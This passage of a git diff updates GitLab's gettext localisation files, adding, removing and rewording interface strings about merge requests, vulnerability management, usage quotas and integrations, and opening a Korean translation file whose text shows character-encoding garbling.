msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
@@ -34049,7 +34656,10 @@ msgstr ""
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
-msgid "The contact does not belong to the same group as the issue."
+msgid "The contact does not belong to the same group as the issue"
+msgstr ""
+
+msgid "The content editor may change the markdown formatting style of the document, which may not match your original markdown style."
msgstr ""
msgid "The content of this page is not encoded in UTF-8. Edits can only be made via the Git repository."
@@ -34255,9 +34865,6 @@ msgstr ""
msgid "The maximum number of pipeline minutes that a group can use on shared runners per month. 0 for unlimited."
msgstr ""
-msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
-msgstr ""
-
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -34390,9 +34997,6 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The source branch will be deleted"
-msgstr ""
-
msgid "The specified tab is invalid, please select another"
msgstr ""
@@ -34447,6 +35051,9 @@ msgstr ""
msgid "The vulnerability is no longer detected. Verify the vulnerability has been remediated before changing its status."
msgstr ""
+msgid "There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
+msgstr ""
+
msgid "There are currently no events."
msgstr ""
@@ -34543,9 +35150,6 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
-msgid "There are pending advanced search migrations which require indexing to be paused. Indexing must remain paused until the migrations are completed."
-msgstr ""
-
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
@@ -34558,9 +35162,6 @@ msgstr ""
msgid "There are several size limits in place."
msgstr ""
-msgid "There is a halted Elasticsearch migration"
-msgstr ""
-
msgid "There is already a repository with that name on disk"
msgstr ""
@@ -34936,6 +35537,9 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
+msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
+msgstr ""
+
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
@@ -34954,12 +35558,6 @@ msgstr ""
msgid "This credential has expired"
msgstr ""
-msgid "This date is after the due date, so this epic won't appear in the roadmap."
-msgstr ""
-
-msgid "This date is before the start date, so this epic won't appear in the roadmap."
-msgstr ""
-
msgid "This device has already been registered with us."
msgstr ""
@@ -35008,6 +35606,12 @@ msgstr ""
msgid "This field is required."
msgstr ""
+msgid "This file was modified for readability, and can't accept suggestions. Edit it directly."
+msgstr ""
+
+msgid "This forked project has the following:"
+msgstr ""
+
msgid "This form is disabled in preview"
msgstr ""
@@ -35062,12 +35666,15 @@ msgstr ""
msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
-msgid "This is a security log of important events involving your account."
+msgid "This is a security log of authentication events involving your account."
msgstr ""
msgid "This is a self-managed instance of GitLab."
msgstr ""
+msgid "This is an experimental feature developed by GitLab Incubation Engineering."
+msgstr ""
+
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -35077,6 +35684,9 @@ msgstr ""
msgid "This is your current session"
msgstr ""
+msgid "This issue is confidential and should only be visible to team members with at least Reporter access."
+msgstr ""
+
msgid "This issue is currently blocked by the following issues:"
msgstr ""
@@ -35212,9 +35822,6 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a draft."
-msgstr ""
-
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
msgstr ""
@@ -35257,6 +35864,9 @@ msgstr ""
msgid "This project has no active access tokens."
msgstr ""
+msgid "This project is %{strongStart}NOT%{strongEnd} a fork, and has the following:"
+msgstr ""
+
msgid "This project is archived and cannot be commented on."
msgstr ""
@@ -35356,7 +35966,7 @@ msgstr ""
msgid "Thread to reply to cannot be found"
msgstr ""
-msgid "Threat Monitoring"
+msgid "Threat monitoring"
msgstr ""
msgid "ThreatMonitoring|Alert Details"
@@ -35900,6 +36510,9 @@ msgstr ""
msgid "To see this project's operational details, contact an owner of group %{groupName} to upgrade the plan. You can also remove the project from the dashboard."
msgstr ""
+msgid "To see what's changed or create a merge request, choose a branch or tag (like %{branch}), or enter a commit (like %{sha})."
+msgstr ""
+
msgid "To set up SAML authentication for your group through an identity provider like Azure, Okta, Onelogin, Ping Identity, or your custom SAML 2.0 provider:"
msgstr ""
@@ -35924,6 +36537,9 @@ msgstr ""
msgid "To use the additional formats, you must start the required %{container_link_start}companion containers%{container_link_end}."
msgstr ""
+msgid "To use the system's default, set this value to 0."
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
@@ -36029,10 +36645,10 @@ msgstr ""
msgid "Too many changes to show."
msgstr ""
-msgid "Too many namespaces enabled. You will need to manage them via the console or the API."
+msgid "Too many namespaces enabled. Manage them through the console or the API."
msgstr ""
-msgid "Too many projects enabled. You will need to manage them via the console or the API."
+msgid "Too many projects enabled. Manage them through the console or the API."
msgstr ""
msgid "TopNav|Go back"
@@ -36053,9 +36669,6 @@ msgstr ""
msgid "Topics"
msgstr ""
-msgid "Topics (optional)"
-msgstr ""
-
msgid "Total"
msgstr ""
@@ -36116,6 +36729,9 @@ msgstr ""
msgid "Track your GitLab projects with GitLab for Slack."
msgstr ""
+msgid "Training mode"
+msgstr ""
+
msgid "Transfer"
msgstr ""
@@ -36286,7 +36902,7 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
-msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgid "Trigger cluster reindexing. Only use this with an index that was created in GitLab 13.0 or later."
msgstr ""
msgid "Trigger manual job"
@@ -36343,6 +36959,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
+msgid "Try out GitLab Pipelines"
+msgstr ""
+
+msgid "Try the troubleshooting steps here."
+msgstr ""
+
msgid "Try to fork again"
msgstr ""
@@ -36541,9 +37163,6 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
-msgid "Unable to save cadence. Please try again"
-msgstr ""
-
msgid "Unable to save iteration. Please try again"
msgstr ""
@@ -36649,6 +37268,9 @@ msgstr ""
msgid "Unknown response text"
msgstr ""
+msgid "Unknown screen"
+msgstr ""
+
msgid "Unknown user"
msgstr ""
@@ -36733,9 +37355,6 @@ msgstr ""
msgid "Unsupported todo type passed. Supported todo types are: %{todo_types}"
msgstr ""
-msgid "Until"
-msgstr ""
-
msgid "Until revoked, expired personal access tokens pose a security risk."
msgstr ""
@@ -36844,6 +37463,9 @@ msgstr ""
msgid "Updating"
msgstr ""
+msgid "Updating the attention request for %{username} failed."
+msgstr ""
+
msgid "Updating…"
msgstr ""
@@ -36886,6 +37508,9 @@ msgstr ""
msgid "Upload license"
msgstr ""
+msgid "Upload new file"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -36895,9 +37520,6 @@ msgstr ""
msgid "Uploading changes to terminal"
msgstr ""
-msgid "Uploads"
-msgstr ""
-
msgid "Upon performing this action, the contents of this group, its subgroup and projects will be permanently deleted after %{deletion_adjourned_period} days on %{date}. Until that time:"
msgstr ""
@@ -36910,9 +37532,6 @@ msgstr ""
msgid "Upvotes"
msgstr ""
-msgid "Usage"
-msgstr ""
-
msgid "Usage Trends"
msgstr ""
@@ -36967,12 +37586,6 @@ msgstr ""
msgid "UsageQuota|Increase storage temporarily"
msgstr ""
-msgid "UsageQuota|LFS Objects"
-msgstr ""
-
-msgid "UsageQuota|LFS Storage"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
@@ -36982,9 +37595,15 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|No CI minutes usage data available."
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
+msgid "UsageQuota|Pending Members"
+msgstr ""
+
msgid "UsageQuota|Pipeline artifacts and job artifacts, created with CI/CD."
msgstr ""
@@ -36997,9 +37616,6 @@ msgstr ""
msgid "UsageQuota|Purchased storage available"
msgstr ""
-msgid "UsageQuota|Repositories"
-msgstr ""
-
msgid "UsageQuota|Repository"
msgstr ""
@@ -37033,18 +37649,6 @@ msgstr ""
msgid "UsageQuota|This namespace has no projects which use shared runners"
msgstr ""
-msgid "UsageQuota|This project is at risk of being locked because purchased storage is running low."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it is using %{actualRepositorySizeLimit} of free storage and there is no purchased storage available."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it used %{actualRepositorySizeLimit} of free storage and all the purchased storage."
-msgstr ""
-
-msgid "UsageQuota|This project is near the free %{actualRepositorySizeLimit} limit and at risk of being locked."
-msgstr ""
-
msgid "UsageQuota|Total excess storage used"
msgstr ""
@@ -37090,9 +37694,6 @@ msgstr ""
msgid "UsageQuota|Wiki content."
msgstr ""
-msgid "UsageQuota|Wikis"
-msgstr ""
-
msgid "UsageQuota|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{actualRepositorySizeLimit} limit."
msgstr ""
@@ -37285,9 +37886,6 @@ msgstr ""
msgid "Used programming language"
msgstr ""
-msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
-msgstr ""
-
msgid "Used to help configure your identity provider"
msgstr ""
@@ -37591,9 +38189,6 @@ msgstr ""
msgid "Username"
msgstr ""
-msgid "Username (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Username (optional)"
msgstr ""
@@ -37819,6 +38414,18 @@ msgstr ""
msgid "Verification status"
msgstr ""
+msgid "VerificationReminder|Pipeline failing? To keep GitLab spam and abuse free we ask that you verify your identity with a valid payment method."
+msgstr ""
+
+msgid "VerificationReminder|Until then, free pipeline minutes on shared runners are unavailable. %{validateLinkStart}Validate your account%{validateLinkEnd} or %{docsLinkStart}use your own runners%{docsLinkEnd}."
+msgstr ""
+
+msgid "VerificationReminder|Your account has been validated."
+msgstr ""
+
+msgid "VerificationReminder|You’ll now be able to take advantage of free pipeline minutes on shared runners."
+msgstr ""
+
msgid "Verified"
msgstr ""
@@ -37843,6 +38450,9 @@ msgstr ""
msgid "View Documentation"
msgstr ""
+msgid "View Stage: %{title}"
+msgstr ""
+
msgid "View alert details at"
msgstr ""
@@ -37940,6 +38550,9 @@ msgstr ""
msgid "View merge request"
msgstr ""
+msgid "View milestones"
+msgstr ""
+
msgid "View on %{url}"
msgstr ""
@@ -38050,6 +38663,9 @@ msgstr ""
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
+msgid "Vulnerability report"
+msgstr ""
+
msgid "Vulnerability resolved in %{branch}"
msgstr ""
@@ -38062,9 +38678,6 @@ msgstr ""
msgid "VulnerabilityChart|Severity"
msgstr ""
-msgid "VulnerabilityManagement, Fetching linked Jira issues"
-msgstr ""
-
msgid "VulnerabilityManagement|%{statusStart}Confirmed%{statusEnd} %{timeago} by %{user}"
msgstr ""
@@ -38080,6 +38693,9 @@ msgstr ""
msgid "VulnerabilityManagement|A true-positive and will fix"
msgstr ""
+msgid "VulnerabilityManagement|Add vulnerability finding"
+msgstr ""
+
msgid "VulnerabilityManagement|Change status"
msgstr ""
@@ -38089,7 +38705,10 @@ msgstr ""
msgid "VulnerabilityManagement|Create Jira issue"
msgstr ""
-msgid "VulnerabilityManagement|Detected"
+msgid "VulnerabilityManagement|Fetching linked Jira issues"
+msgstr ""
+
+msgid "VulnerabilityManagement|Manually add a vulnerability entry into the vulnerability report."
msgstr ""
msgid "VulnerabilityManagement|Needs triage"
@@ -38101,6 +38720,9 @@ msgstr ""
msgid "VulnerabilityManagement|Related Jira issues"
msgstr ""
+msgid "VulnerabilityManagement|Requires assessment"
+msgstr ""
+
msgid "VulnerabilityManagement|Something went wrong while trying to delete the comment. Please try again later."
msgstr ""
@@ -38125,9 +38747,15 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong, could not update vulnerability state."
msgstr ""
+msgid "VulnerabilityManagement|Summary, detailed description, steps to reproduce, etc."
+msgstr ""
+
msgid "VulnerabilityManagement|Verified as fixed or mitigated"
msgstr ""
+msgid "VulnerabilityManagement|Vulnerability name or type. Ex: Cross-site scripting"
+msgstr ""
+
msgid "VulnerabilityManagement|Will not fix or a false-positive"
msgstr ""
@@ -38140,10 +38768,10 @@ msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Detected"
+msgid "VulnerabilityStatusTypes|Dismissed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Dismissed"
+msgid "VulnerabilityStatusTypes|Needs triage"
msgstr ""
msgid "VulnerabilityStatusTypes|Resolved"
@@ -38317,7 +38945,7 @@ msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
-msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgid "We invite you to %{featureLinkStart}request a feature%{featureLinkEnd}, %{bugLinkStart}report a bug%{bugLinkEnd} or %{feedbackLinkStart}share feedback%{feedbackLinkEnd}"
msgstr ""
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
@@ -38623,6 +39251,9 @@ msgstr ""
msgid "When a runner is locked, it cannot be assigned to other projects"
msgstr ""
+msgid "When enabled, SSH keys with no expiry date or an invalid expiration date are no longer accepted. Leave blank for no limit."
+msgstr ""
+
msgid "When enabled, existing personal access tokens may be revoked. Leave blank for no limit."
msgstr ""
@@ -38635,7 +39266,7 @@ msgstr ""
msgid "When merge requests and commits in the default branch close, any issues they reference also close."
msgstr ""
-msgid "When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgid "When paused, GitLab still tracks the changes. This is useful for cluster/index migrations."
msgstr ""
msgid "When this merge request is accepted"
@@ -38808,6 +39439,12 @@ msgstr ""
msgid "WikiPage|Create page"
msgstr ""
+msgid "WikiPage|Edit rich text"
+msgstr ""
+
+msgid "WikiPage|Edit source"
+msgstr ""
+
msgid "WikiPage|Format"
msgstr ""
@@ -38817,7 +39454,7 @@ msgstr ""
msgid "WikiPage|Keep editing"
msgstr ""
-msgid "WikiPage|More Information."
+msgid "WikiPage|Learn more."
msgstr ""
msgid "WikiPage|Page title"
@@ -38931,6 +39568,9 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "Work in progress- click here to find out more"
+msgstr ""
+
msgid "WorkItem|Work Items"
msgstr ""
@@ -39204,13 +39844,10 @@ msgstr ""
msgid "You can only %{action} files when you are on a branch"
msgstr ""
-msgid "You can only edit files when you are on a branch"
+msgid "You can only add up to %{max_contacts} contacts at one time"
msgstr ""
-msgid "You can only merge once the items above are resolved."
-msgstr ""
-
-msgid "You can only merge once this merge request is approved."
+msgid "You can only edit files when you are on a branch"
msgstr ""
msgid "You can only transfer the project to namespaces you manage."
@@ -39246,6 +39883,9 @@ msgstr ""
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
+msgid "You cannot combine replace_ids with add_ids or remove_ids"
+msgstr ""
+
msgid "You cannot impersonate a blocked user"
msgstr ""
@@ -39276,12 +39916,18 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
+msgid "You do not have any Google Cloud projects. Please create a Google Cloud project and then reload this page."
+msgstr ""
+
msgid "You do not have any subscriptions yet"
msgstr ""
msgid "You do not have permission to access dora metrics."
msgstr ""
+msgid "You do not have permission to approve a member"
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -39333,6 +39979,11 @@ msgstr ""
msgid "You don’t have access to Value Stream Analytics for this group"
msgstr ""
+msgid "You have %{pendingMembersCount} pending member that needs approval."
+msgid_plural "You have %{pendingMembersCount} pending members that need approval."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -39381,6 +40032,9 @@ msgstr ""
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
+msgid "You have insufficient permissions to set customer relations contacts for this issue"
+msgstr ""
+
msgid "You have insufficient permissions to update an on-call schedule for this project"
msgstr ""
@@ -39516,9 +40170,6 @@ msgstr ""
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
@@ -39603,7 +40254,7 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. Use it to view how you compare with other organizations."
+msgid "Your DevOps Reports give an overview of how you are using GitLab from a feature perspective. Use them to view how you compare with other organizations, and how your teams compare against each other."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -39669,6 +40320,12 @@ msgstr ""
msgid "Your account has been deactivated. You will not be able to: "
msgstr ""
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_password_link_start}set a password%{link_end} or %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
msgid "Your account is locked."
msgstr ""
@@ -39861,6 +40518,9 @@ msgstr ""
msgid "Your sign-in page is %{url}."
msgstr ""
+msgid "Your snippets"
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -39875,15 +40535,9 @@ msgstr ""
msgid "ZenTaoIntegration|Failed to load ZenTao issue. View the issue in ZenTao, or reload the page."
msgstr ""
-msgid "ZenTaoIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}ZenTao%{linkEnd}."
-msgstr ""
-
msgid "ZenTaoIntegration|This is a ZenTao user."
msgstr ""
-msgid "ZenTaoIntegration|This issue is synchronized with ZenTao"
-msgstr ""
-
msgid "ZenTaoIntegration|ZenTao user"
msgstr ""
@@ -39893,6 +40547,9 @@ msgstr ""
msgid "ZentaoIntegration|Base URL of the ZenTao instance."
msgstr ""
+msgid "ZentaoIntegration|Before you enable this integration, you must configure ZenTao. For more details, read the %{link_start}ZenTao integration documentation%{link_end}."
+msgstr ""
+
msgid "ZentaoIntegration|Enter new ZenTao API token"
msgstr ""
@@ -39958,9 +40615,6 @@ msgstr ""
msgid "added"
msgstr ""
-msgid "added %{created_at_timeago}"
-msgstr ""
-
msgid "added %{emails}"
msgstr ""
@@ -40056,6 +40710,9 @@ msgstr ""
msgid "can't be nil"
msgstr ""
+msgid "can't be solely blank"
+msgstr ""
+
msgid "can't be the same as the source project"
msgstr ""
@@ -40089,9 +40746,6 @@ msgstr ""
msgid "cannot be enabled until a valid credit card is on file"
msgstr ""
-msgid "cannot be modified"
-msgstr ""
-
msgid "cannot be used for user namespace"
msgstr ""
@@ -40262,6 +40916,9 @@ msgstr ""
msgid "ciReport|Failed to load %{reportName} report"
msgstr ""
+msgid "ciReport|Failed to load Code Quality report"
+msgstr ""
+
msgid "ciReport|Fixed"
msgstr ""
@@ -40271,6 +40928,9 @@ msgstr ""
msgid "ciReport|Found %{issuesWithCount}"
msgstr ""
+msgid "ciReport|IaC Scanning"
+msgstr ""
+
msgid "ciReport|Investigate this vulnerability by creating an issue"
msgstr ""
@@ -40294,6 +40954,9 @@ msgstr ""
msgid "ciReport|Loading %{reportName} report"
msgstr ""
+msgid "ciReport|Loading Code Quality report"
+msgstr ""
+
msgid "ciReport|Manage licenses"
msgstr ""
@@ -40330,6 +40993,9 @@ msgstr ""
msgid "ciReport|Security scanning failed loading any results"
msgstr ""
+msgid "ciReport|Showing %{fetchedItems} of %{totalItems} items"
+msgstr ""
+
msgid "ciReport|Solution"
msgstr ""
@@ -40700,21 +41366,9 @@ msgstr ""
msgid "in"
msgstr ""
-msgid "in Infrastructure :: Kubernetes clusters"
-msgstr ""
-
-msgid "in all GitLab"
-msgstr ""
-
-msgid "in group"
-msgstr ""
-
msgid "in group %{link_to_group}"
msgstr ""
-msgid "in project"
-msgstr ""
-
msgid "in project %{link_to_project}"
msgstr ""
@@ -40867,9 +41521,6 @@ msgstr ""
msgid "log in"
msgstr ""
-msgid "managed"
-msgstr ""
-
msgid "manual"
msgstr ""
@@ -40899,13 +41550,13 @@ msgstr ""
msgid "most recent deployment"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} and %{mergeCommitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} and %{mergeCommitCount} to %{targetBranch}%{squashedCommits}."
msgstr ""
-msgid "mrWidgetCommitsAdded|1 merge commit"
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} to %{targetBranch}."
msgstr ""
msgid "mrWidgetNothingToMerge|This merge request contains no changes."
@@ -40917,6 +41568,9 @@ msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
msgstr ""
+msgid "mrWidget|%{boldHeaderStart}Looks like there's no pipeline here.%{boldHeaderEnd}"
+msgstr ""
+
msgid "mrWidget|%{linkStart}Set up now%{linkEnd} to analyze your source code for known security vulnerabilities."
msgstr ""
@@ -40935,9 +41589,6 @@ msgstr ""
msgid "mrWidget|%{metricsLinkStart} Memory %{metricsLinkEnd} usage is %{emphasisStart} unchanged %{emphasisEnd} at %{memoryFrom}MB"
msgstr ""
-msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
-msgstr ""
-
msgid "mrWidget|A merge train is a queued list of merge requests waiting to be merged into the target branch. The changes in each merge request are combined with the changes in earlier merge requests and tested before merge."
msgstr ""
@@ -40980,9 +41631,6 @@ msgstr ""
msgid "mrWidget|Approved by you and others"
msgstr ""
-msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
-msgstr ""
-
msgid "mrWidget|Cancel auto-merge"
msgstr ""
@@ -41015,6 +41663,9 @@ msgstr ""
msgid "mrWidget|Delete source branch"
msgstr ""
+msgid "mrWidget|Deletes the source branch"
+msgstr ""
+
msgid "mrWidget|Deployment statistics are not available currently"
msgstr ""
@@ -41024,12 +41675,18 @@ msgstr ""
msgid "mrWidget|Dismiss"
msgstr ""
+msgid "mrWidget|Does not delete the source branch"
+msgstr ""
+
msgid "mrWidget|Email patches"
msgstr ""
msgid "mrWidget|Failed to load deployment statistics"
msgstr ""
+msgid "mrWidget|GitLab %{linkStart}CI/CD can automatically build, test, and deploy your application.%{linkEnd} It only takes a few minutes to get started, and we can help you create a pipeline configuration file."
+msgstr ""
+
msgid "mrWidget|Hide %{widget} details"
msgstr ""
@@ -41065,21 +41722,36 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: denied licenses must be removed."
+msgstr ""
+
msgid "mrWidget|Merge blocked: fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
+msgid "mrWidget|Merge blocked: merge conflicts must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
msgstr ""
+msgid "mrWidget|Merge blocked: this merge request must be approved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
msgid "mrWidget|Merge locally"
msgstr ""
+msgid "mrWidget|Merge unavailable: merge requests are read-only on archived projects."
+msgstr ""
+
msgid "mrWidget|Merged by"
msgstr ""
+msgid "mrWidget|Merges changes into"
+msgstr ""
+
msgid "mrWidget|Merging! Changes are being shipped…"
msgstr ""
@@ -41092,6 +41764,15 @@ msgstr ""
msgid "mrWidget|Merging! Everything's good…"
msgstr ""
+msgid "mrWidget|Merging! Lift-off in 5… 4… 3…"
+msgstr ""
+
+msgid "mrWidget|Merging! Take a deep breath and relax…"
+msgstr ""
+
+msgid "mrWidget|Merging! The changes are leaving the station…"
+msgstr ""
+
msgid "mrWidget|Merging! This is going to be great…"
msgstr ""
@@ -41131,9 +41812,6 @@ msgstr ""
msgid "mrWidget|Resolve conflicts"
msgstr ""
-msgid "mrWidget|Resolve these conflicts or ask someone with write access to this repository to merge it locally"
-msgstr ""
-
msgid "mrWidget|Revert"
msgstr ""
@@ -41164,9 +41842,6 @@ msgstr ""
msgid "mrWidget|The changes were not merged into"
msgstr ""
-msgid "mrWidget|The changes will be merged into"
-msgstr ""
-
msgid "mrWidget|The pipeline for this merge request did not complete. Push a new commit to fix the failure, or check the %{linkStart}troubleshooting documentation%{linkEnd} to see other possible actions."
msgstr ""
@@ -41182,39 +41857,30 @@ msgstr ""
msgid "mrWidget|The source branch is being deleted"
msgstr ""
-msgid "mrWidget|The source branch will be deleted"
-msgstr ""
-
-msgid "mrWidget|The source branch will not be deleted"
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|There are merge conflicts"
+msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|To change these default messages, edit the templates for both the merge and squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|This project is archived, write access has been disabled"
+msgid "mrWidget|To change this default message, edit the template for merge commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
+msgid "mrWidget|To change this default message, edit the template for squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "mrWidget|To merge, a Jira issue key must be mentioned in the title or description."
msgstr ""
-msgid "mrWidget|Use %{linkStart}CI pipelines to test your code%{linkEnd} by simply adding a GitLab CI configuration file to your project. It only takes a minute to make your code more secure and robust."
+msgid "mrWidget|Users who can write to the source or target branches can resolve the conflicts."
msgstr ""
msgid "mrWidget|What is a merge train?"
msgstr ""
-msgid "mrWidget|You can merge after removing denied licenses"
-msgstr ""
-
-msgid "mrWidget|You can only merge once this merge request is approved."
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
@@ -41375,6 +42041,18 @@ msgstr ""
msgid "pipeline schedules documentation"
msgstr ""
+msgid "pipelineEditorWalkthrough|Let's do this!"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|See how GitLab pipelines work"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|This %{codeStart}.gitlab-ci.yml%{codeEnd} file creates a simple test pipeline."
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|Use the %{boldStart}commit changes%{boldEnd} button at the bottom of the page to run the pipeline."
+msgstr ""
+
msgid "pod_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -41555,9 +42233,6 @@ msgstr ""
msgid "smartcn custom analyzer"
msgstr ""
-msgid "sort:"
-msgstr ""
-
msgid "source"
msgstr ""
@@ -41582,6 +42257,9 @@ msgstr ""
msgid "starts on %{timebox_start_date}"
msgstr ""
+msgid "structure is too large"
+msgstr ""
+
msgid "stuck"
msgstr ""
diff --git a/locale/ko/gitlab.po b/locale/ko/gitlab.po
index 6d3a4f179e5..f06c5745fd4 100644
--- a/locale/ko/gitlab.po
+++ b/locale/ko/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: ko\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-11-02 00:41\n"
+"PO-Revision-Date: 2021-12-06 18:58\n"
msgid " %{start} to %{end}"
msgstr " %{start}부터 %{end}까지"
@@ -70,9 +70,6 @@ msgstr "\"%{path}\"는 \"%{ref}\"ì— ì¡´ìž¬í•˜ì§€ 않습니다"
msgid "\"%{repository_name}\" size (%{repository_size}) is larger than the limit of %{limit}."
msgstr ""
-msgid "\"el\" parameter is required for createInstance()"
-msgstr ""
-
msgid "#%{issueIid} (closed)"
msgstr ""
@@ -207,6 +204,10 @@ msgid "%d fixed test result"
msgid_plural "%d fixed test results"
msgstr[0] "%dê±´ì˜ í…ŒìŠ¤íŠ¸ 결과를 고쳤습니다."
+msgid "%d fork"
+msgid_plural "%d forks"
+msgstr[0] ""
+
msgid "%d group"
msgid_plural "%d groups"
msgstr[0] ""
@@ -247,6 +248,10 @@ msgid "%d merge request that you don't have access to."
msgid_plural "%d merge requests that you don't have access to."
msgstr[0] "%d 머지 ìš”ì²­ì„ í•  ê¶Œí•œì´ ì—†ìŠµë‹ˆë‹¤."
+msgid "%d merge requests"
+msgid_plural "%d merge requests"
+msgstr[0] ""
+
msgid "%d metric"
msgid_plural "%d metrics"
msgstr[0] "%d 측정치"
@@ -299,6 +304,10 @@ msgid "%d shard selected"
msgid_plural "%d shards selected"
msgstr[0] ""
+msgid "%d star"
+msgid_plural "%d stars"
+msgstr[0] ""
+
msgid "%d tag"
msgid_plural "%d tags"
msgstr[0] "%dê°œì˜ íƒœê·¸"
